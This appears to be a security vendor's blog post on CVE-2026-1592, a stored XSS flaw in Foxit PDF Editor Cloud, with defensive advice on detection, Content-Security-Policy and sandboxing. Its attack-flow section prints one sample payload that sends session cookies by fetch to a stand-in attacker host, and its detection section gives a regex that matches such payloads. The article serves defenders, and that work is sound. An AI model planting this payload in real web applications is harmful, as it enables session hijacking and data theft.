CVE-2026-1592: stored XSS in Foxit PDF Editor Cloud's New Layer feature

CVE-2026-1592 is a stored cross-site scripting vulnerability in Foxit PDF Editor Cloud's Create New Layer feature, scored CVSS 6.3 (Moderate). A low-privileged authenticated collaborator can submit a JavaScript payload as a layer name or content field, and that payload then runs in every other user's browser session whenever they view the same document. Foxit deployed the server-side fix on February 3, 2026; no client update was required. The practical risk is the collaboration model itself: anyone you grant edit access to your shared documents could have planted a script that runs under your authenticated cloud session.

What CVE-2026-1592 actually is

CVE-2026-1592 is a textbook stored XSS in a web-rendered PDF editing surface. The Create New Layer feature accepts user-supplied strings for the layer name and the layer content. The application persists those strings to its document database and then renders them back into the editor's DOM when any user opens the document. The vulnerable build emitted the persisted string as HTML rather than as text, with no output encoding. SentinelOne's vulnerability database entry and the Cyber Express writeup both describe the failure mode in those terms.

The attack flow has three steps. First, the attacker logs in as a low-privileged user who has been granted edit access to a shared workspace or document. Second, they create a new layer and put a payload in the name or content field. The conceptual payload pattern looks like this:

<img src=x onerror="fetch('https://attacker.example/c?t='+document.cookie)">

Third, every other collaborator who opens the document and views the layer triggers the payload. The script runs under the victim's authenticated Foxit Cloud session, with the same privileges that session holds: read documents, exfiltrate document content, invite new collaborators, change sharing settings, or pivot to other API surfaces the session can reach.

CVSS 6.3 (Moderate) is the right severity. The vector is network-reachable but requires authentication and user interaction (the victim has to open the document). The impact is bounded by the attacker's pre-existing access level to the workspace. A guest collaborator can compromise other collaborators' sessions but cannot reach documents they were not already invited to view. The CVE is more dangerous in tenants with permissive default-share settings, where "anyone with the link can edit" creates a wider blast radius.

Why this is the second Foxit event of the year

Foxit shipped a separate batch of CVEs on April 27, 2026 against the desktop Foxit PDF Editor and Foxit Reader applications: CVE-2026-5937 through CVE-2026-5943, seven memory-safety and parsing issues covering use-after-free, out-of-bounds read, and type-confusion primitives in the desktop PDF parser. The Cyberpress coverage and the Foxit security bulletins index catalog both batches.

The two events sit on entirely different attack surfaces and have different patching models. The comparison clarifies what each one means for your operational response.

Two batches in five months against the same vendor is not unusual for a complex PDF stack. It does suggest that 2026 is going to keep producing PDF-handling CVEs at a steady cadence across the major vendors. The pattern we noted in the Adobe CVE-2026-34621 writeup holds here too: parsers and editors that have accumulated feature surface over fifteen-plus years are the dominant CVE source in this category.

The shared attack surface

Three places repeatedly produce the same class of bug in PDF-adjacent software. Knowing where they are helps you ask the right vendor questions for the rest of your stack.

PDF AcroJS. The embedded JavaScript engine inside Acrobat and Foxit Reader has produced dozens of CVEs over the last decade. The legitimate use case (interactive form validation) is rare in modern workflows, and disabling AcroJS in reader preferences is a high-value defense for any fleet that does not depend on it.

Online PDF editor cloud layers, comments, and annotations. Any product that accepts user-authored content and renders it back in another user's browser session is a stored-XSS shaped target. CVE-2026-1592 fired in the layer feature, but the same class of bug has historically appeared in comment threads, annotation tooltips, signature fields with custom labels, and document-name fields when those are surfaced in a shared admin UI.

Collaborative PDF comment threads. The same underlying pattern (user A submits content, user B's session renders it) appears in any review or markup workflow. Mature products escape on output by default; immature ones discover the bug class only when a researcher reports it.

The connecting property is rich content authored by one user, rendered in another user's authenticated browser session, without strict output encoding. CVE-2026-1592 is the 2026 instance for Foxit Cloud. The defense pattern is universal: output-encode every persisted user string, set a strict Content-Security-Policy on the viewer, and treat the editor frame as an untrusted document by sandboxing it.

Risk model: who is exposed

The exposure profile depends on how your organization uses Foxit Cloud, not just whether you use it. Three configurations matter.

Single-tenant single-team usage (one company, one workspace, only employees have edit access). Exposure is low. The attacker has to be one of your employees, and the available exfiltration surface is limited to data those employees already had access to. Standard insider-threat controls apply.

Multi-tenant SaaS deployments where Foxit is embedded under your own brand. This is the high-risk configuration. If you operate a service that lets external customers collaborate on documents and you back it with Foxit Cloud, untrusted customers could have planted payloads that compromise other customers' sessions. The fix is now live, but historical documents created during the vulnerable window may carry residual payloads. Audit them.

Cross-organization document sharing (your team invites external vendors, contractors, or clients to edit shared documents). Exposure is medium. Each external collaborator is a potential planter. If the relationship is established and you trust the external party, the residual risk is the same as standard third-party-access risk. If you accept open-link sharing from anyone, the residual risk is much higher.

The configurations that do not appear vulnerable are read-only consumption (you receive PDFs from others, you never grant edit access) and offline workflows that route everything through the desktop product instead of the cloud editor.

Detect: am I or my users affected

Foxit Cloud admin audit logs are the right starting point. The relevant event types are layer creation, layer edit, and document open. Search for layer names and content fields that contain markup-shaped strings within the audit retention window.

A regex that catches the common payload patterns:

# Pseudo-rule for SIEM ingestion of Foxit Cloud audit export
# Adjust field names to match your tenant's export schema
field: layer_name OR layer_content
pattern: (?i)(<script|javascript:|onerror=|onload=|<svg|<iframe|<img\s+src|data:text/html|document\.cookie|fetch\()

The same pattern works against Foxit Cloud's webhook stream if you forward layer-creation events to a SIEM. The exact field names depend on your tenant's export schema; map layer_name and layer_content (or the equivalent) to your tenant's columns. False positives are rare because legitimate layer names almost never contain angle brackets or function calls.

If you do not export Foxit audit logs centrally, the alternative is a manual review through the Foxit admin console. Filter the audit timeline to the layer-creation event type for the window between any document's creation date and February 3, 2026. Sort by author and look for layers created by external or low-privileged accounts that immediately preceded a wave of access by higher-privileged accounts. That access pattern is the post-exploitation signature.

For deeper forensic inspection, open a support case with Foxit referencing CVE-2026-1592 and request a forensic export. Foxit's incident response team can return event records older than your tenant's default 90-day retention.

Mitigations beyond patching

The patch is live. Three follow-on controls reduce the cost of the next CVE-2026-1592-shaped finding.

Output-encode everything by policy. Foxit's fix is to encode user strings on output. As a customer, you cannot enforce that, but you can ask the vendor for confirmation that every persisted-string render path is now encoded by default and that the project's CI runs a static analysis check for unescaped template interpolation. A clean answer is a positive signal.

Strict Content-Security-Policy on the cloud viewer frame. A CSP that disallows 'unsafe-inline' script and restricts connect-src to the application's own origin defangs the entire stored-XSS class. If a payload runs, it cannot exfiltrate to an external host because the browser blocks the fetch. CSPs do not retroactively fix the bug, but they convert a critical session compromise into a quiet failure that produces a CSP report.

Sandbox the editor frame. If you embed Foxit Cloud into your own product through an iframe, set the sandbox attribute and only grant the capabilities the editor genuinely needs. Removing allow-same-origin from the sandbox attribute breaks the link between the editor frame and the parent application's session, so a successful XSS inside the editor cannot reach your application's cookies.

Disable PDF JavaScript execution at the reader level. A stored XSS in the cloud editor is one variant. A scripted PDF that fires when the file is downloaded and opened in a desktop reader is another. Push the "Enable Acrobat JavaScript off" preference (or the Foxit equivalent) to every workstation in your fleet through your endpoint manager. The legitimate use case is rare, and the attack surface eliminated is large.

Monitor for script-shaped patterns in document metadata. Persistent metadata fields (titles, authors, keywords, custom properties) are an under-monitored XSS storage location across many editors. A monthly sweep of document metadata for the same regex above catches issues before they fire.

How PDF4.dev handles this class

PDF4.dev renders PDFs server-side from HTML templates that you control as the API customer. We do not accept user-authored PDF layers, we do not run a collaborative document editor with shared annotation surfaces, and our template inputs are Handlebars expressions evaluated server-side against data you supply on each render. The output is a static PDF with no embedded JavaScript streams.

Frequently asked questions

The FAQ entries from this article's frontmatter render in the article schema as FAQPage JSON-LD. The full text of each answer is in the page source and the schema markup. The questions covered:

• Is my Foxit PDF Editor Cloud workspace patched?
• Can a malicious PDF compromise my account via this CVE?
• Does this affect the Foxit Reader desktop app?
• What does stored XSS mean in a PDF editor?
• Can I detect this attack in past logs?
• Is the patch automatic for Foxit Cloud users?
• Should I switch PDF editors after this?
• How is CVE-2026-1592 different from CVE-2026-5937?

Timeline of disclosure

The disclosure pattern is healthy: server-side patch shipped before public writeups, no customer action required for the SaaS product, and the vendor's security bulletin index tracks every event in a single place. The April desktop batch is the appropriate moment to confirm your endpoint fleet is also up to date.

What we are watching next

Three follow-on questions for the rest of 2026.

Will the next collaboration-editor CVE land in a competitor? Every cloud PDF editor accepts user-authored rich content. The architectural property that produced CVE-2026-1592 exists across the category. Security researchers who probed Foxit's surface this year are likely already pivoting to adjacent products.

Will Foxit publish post-mortem detail? The CVE record and the bulletin entry give the what but not the why. A vendor write-up covering the introduction date, the missing CI check that should have caught it, and the structural changes deployed alongside the fix would set a useful precedent for the rest of the industry.

Will collaborative-editor CSP policies tighten across the category? A strict CSP on the editor iframe converts the entire stored-XSS class from a critical incident into a quiet failure. The vendors that ship one by default after 2026 will be in a measurably stronger position than the ones that do not.

For teams that build or operate PDF pipelines, the durable response is the same as after the Adobe and Gotenberg events earlier this year: assume the next CVE in this category is already in someone's queue, audit your shared-authoring workflows for unencoded rendering paths, and prefer architectures that do not place untrusted authored content in another user's authenticated session.